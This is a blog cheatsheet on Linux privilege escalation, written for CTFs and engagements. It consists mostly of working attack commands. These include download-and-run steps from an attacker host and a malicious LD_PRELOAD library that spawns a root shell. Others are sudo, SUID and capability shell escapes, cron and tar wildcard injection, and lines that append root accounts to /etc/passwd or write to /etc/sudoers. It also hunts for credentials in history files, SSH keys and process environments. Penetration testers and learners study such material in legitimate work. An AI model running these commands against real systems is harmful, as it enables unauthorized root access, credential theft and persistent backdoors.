← Back to writing
Tools & Cheatsheets

Linux Privilege Escalation

Nov 14, 2024
4 min read
lawbyte

Getting a shell is step one. Getting root is the goal. This cheatsheet organizes every Linux privilege escalation technique with the exact commands you need during CTFs and real engagements.

Automated Enumeration First

Always run automated tools before manual checks — they’re fast and thorough.

# LinPEAS (most comprehensive)
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
# Or transfer and run:
wget http://attacker.com/linpeas.sh && chmod +x linpeas.sh && ./linpeas.sh

# LinEnum
wget http://attacker.com/LinEnum.sh && bash LinEnum.sh

# LSE (Linux Smart Enumeration) — tiered output
wget http://attacker.com/lse.sh && chmod +x lse.sh
./lse.sh -l1 # basic
./lse.sh -l2 # thorough

# pspy — monitor running processes without root
wget http://attacker.com/pspy64 && chmod +x pspy64 && ./pspy64

System Enumeration

# OS and kernel
uname -a # kernel version
cat /etc/os-release
cat /proc/version
lsb_release -a

# Users
id # current user/groups
whoami
cat /etc/passwd # all users
cat /etc/shadow # password hashes (if readable)
cat /etc/group # groups
last # recent logins
w # who is logged in

Sudo Misconfigurations

sudo -l                       # list sudo privileges

NOPASSWD entries

# (root) NOPASSWD: /bin/vim
sudo vim -c '!sh'
sudo vim -c ':!/bin/sh'

# (root) NOPASSWD: /usr/bin/python3
sudo python3 -c 'import os; os.execl("/bin/sh","sh")'

# (root) NOPASSWD: /usr/bin/find
sudo find . -exec /bin/sh \; -quit

# (root) NOPASSWD: /usr/bin/nmap (older versions)
echo "os.execute('/bin/sh')" > /tmp/nmap.nse
sudo nmap --script=/tmp/nmap.nse

# (root) NOPASSWD: /usr/bin/less
sudo less /etc/shadow
# Then: !sh

GTFOBins — comprehensive reference for every binary that can be abused: https://gtfobins.github.io

Sudo with environment variables

# If env_keep+=LD_PRELOAD is set:
cat /etc/sudoers | grep LD_PRELOAD

# Create malicious shared library
cat > /tmp/privesc.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0); setuid(0);
system("/bin/bash");
}
EOF
gcc -fPIC -shared -o /tmp/privesc.so /tmp/privesc.c -nostartfiles
sudo LD_PRELOAD=/tmp/privesc.so /usr/bin/somecmd

Sudo path injection

# (root) NOPASSWD: /usr/bin/somescript.sh — if the script calls commands without full path
cat somescript.sh # shows: systemctl restart nginx (no full path)

# Inject PATH
echo '/bin/sh' > /tmp/systemctl && chmod +x /tmp/systemctl
sudo PATH=/tmp:$PATH /usr/bin/somescript.sh

SUID / GUID Binaries

# Find all SUID binaries
find / -perm -4000 -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

# Find GUID binaries
find / -perm -2000 -type f 2>/dev/null

# Find both
find / -type f -a \( -perm -u+s -o -perm -g+s \) 2>/dev/null

Common SUID exploits

# /usr/bin/bash -p
bash -p # preserves effective UID → root shell

# /usr/bin/find
find . -exec /bin/bash -p \; -quit

# /usr/bin/vim
vim -c ':py3 import os; os.execl("/bin/sh","sh","-p")'

# /usr/bin/cp
# Copy /etc/passwd to temp, add root user, copy back
echo 'hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0::/root:/bin/bash' >> /tmp/passwd
cp /tmp/passwd /etc/passwd

# /usr/bin/nmap (old)
nmap --interactive
nmap> !sh

# /usr/bin/python
python -c 'import os; os.execl("/bin/sh","sh","-p")'

# Shared library hijacking with SUID binary
ldd /usr/bin/suid_binary # check linked libraries
# If a library doesn't exist or is writable, write your own

Cron Job Exploitation

# List cron jobs
cat /etc/crontab
ls -la /etc/cron.*
crontab -l
cat /var/spool/cron/crontabs/root

# Watch for new cron processes
pspy64 # see processes as they spawn

Writable script called by cron

# cron runs: */5 * * * * root /opt/cleanup.sh
ls -la /opt/cleanup.sh # check if writable
echo 'chmod +s /bin/bash' >> /opt/cleanup.sh
# Wait for cron to run, then:
bash -p

PATH hijacking in cron

# crontab: PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin
# cron runs: backup.sh which calls: tar (no full path)
mkdir /tmp/evil
echo '#!/bin/bash\nchmod +s /bin/bash' > /tmp/evil/tar
chmod +x /tmp/evil/tar
# If /tmp is in PATH before /bin in cron's PATH, exploit fires

Wildcard injection in tar cron jobs

# Cron: tar -czf backup.tar.gz /var/www/*
# Tar's wildcard expansion allows checkpoint actions
touch /var/www/--checkpoint=1
touch "/var/www/--checkpoint-action=exec=sh privesc.sh"
echo '#!/bin/bash\nchmod +s /bin/bash' > /var/www/privesc.sh
chmod +x /var/www/privesc.sh

Writable Files & Paths

# World-writable files
find / -writable -type f 2>/dev/null | grep -v proc

# World-writable directories
find / -writable -type d 2>/dev/null

# Check /etc/passwd write access
ls -la /etc/passwd
echo 'hacker::0:0::/root:/bin/bash' >> /etc/passwd
su hacker # no password required

# PATH hijacking (if . or /tmp is in PATH)
echo $PATH
which <command> # verify PATH lookup order

Capabilities

# Find binaries with capabilities
getcap -r / 2>/dev/null

# Common dangerous capabilities:
# cap_setuid — can set UID to 0
# cap_net_raw — raw socket access
# cap_dac_override — bypass file permission checks

# python3 with cap_setuid
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# perl with cap_setuid
perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'

# tar with cap_dac_read_search — read any file
tar -czf /tmp/shadow.tar.gz /etc/shadow
tar -xzf /tmp/shadow.tar.gz

NFS Weak Permissions

# Check NFS shares
cat /etc/exports
showmount -e localhost

# If no_root_squash is set, root on client = root on share
# On attacker machine:
mount -t nfs target:/shared /mnt/nfs
cd /mnt/nfs
cp /bin/bash .
chmod +s ./bash
# On target machine:
/shared/bash -p # root shell

Kernel Exploits

Use as a last resort — can crash the system.

# Check kernel version
uname -r
# → 5.4.0-42-generic

# DirtyCow (CVE-2016-5195) — kernel < 4.8.3
gcc -pthread dirty.c -o dirty -lcrypt
./dirty password

# PwnKit (CVE-2021-4034) — polkit vulnerability
# Affects most Linux distros up to early 2022

# Dirty Pipe (CVE-2022-0847) — kernel 5.8 - 5.16.11

# Search exploit-db
searchsploit "linux kernel 5.4"
searchsploit -m linux/local/40839.c # DirtyCow variant

Password Hunting

# Config files with credentials
find / -name "*.conf" -type f 2>/dev/null | xargs grep -l "password\|passwd\|secret" 2>/dev/null
find / -name "*.env" -type f 2>/dev/null

# History files
cat ~/.bash_history
cat ~/.zsh_history
cat ~/.mysql_history
cat ~/.python_history

# SSH private keys
find / -name "id_rsa" -o -name "id_ed25519" 2>/dev/null

# Database configs
find / -name "wp-config.php" -o -name "config.php" -o -name "settings.py" 2>/dev/null

# Credentials in memory
strings /proc/*/environ 2>/dev/null | grep -iE "pass|secret|key|token"

Quick Privesc One-Liners

# Check everything at once
id; sudo -l; find / -perm -4000 2>/dev/null; getcap -r / 2>/dev/null

# Spawn root shell if /bin/bash is SUID
/bin/bash -p

# Write to /etc/sudoers if writable
echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers
sudo su

# If /etc/passwd writable
echo 'r00t:$(openssl passwd -1 password):0:0::/root:/bin/bash' >> /etc/passwd
su r00t # password: password

Discussion

Leave a comment · All fields required · No spam

No comments yet. Be the first.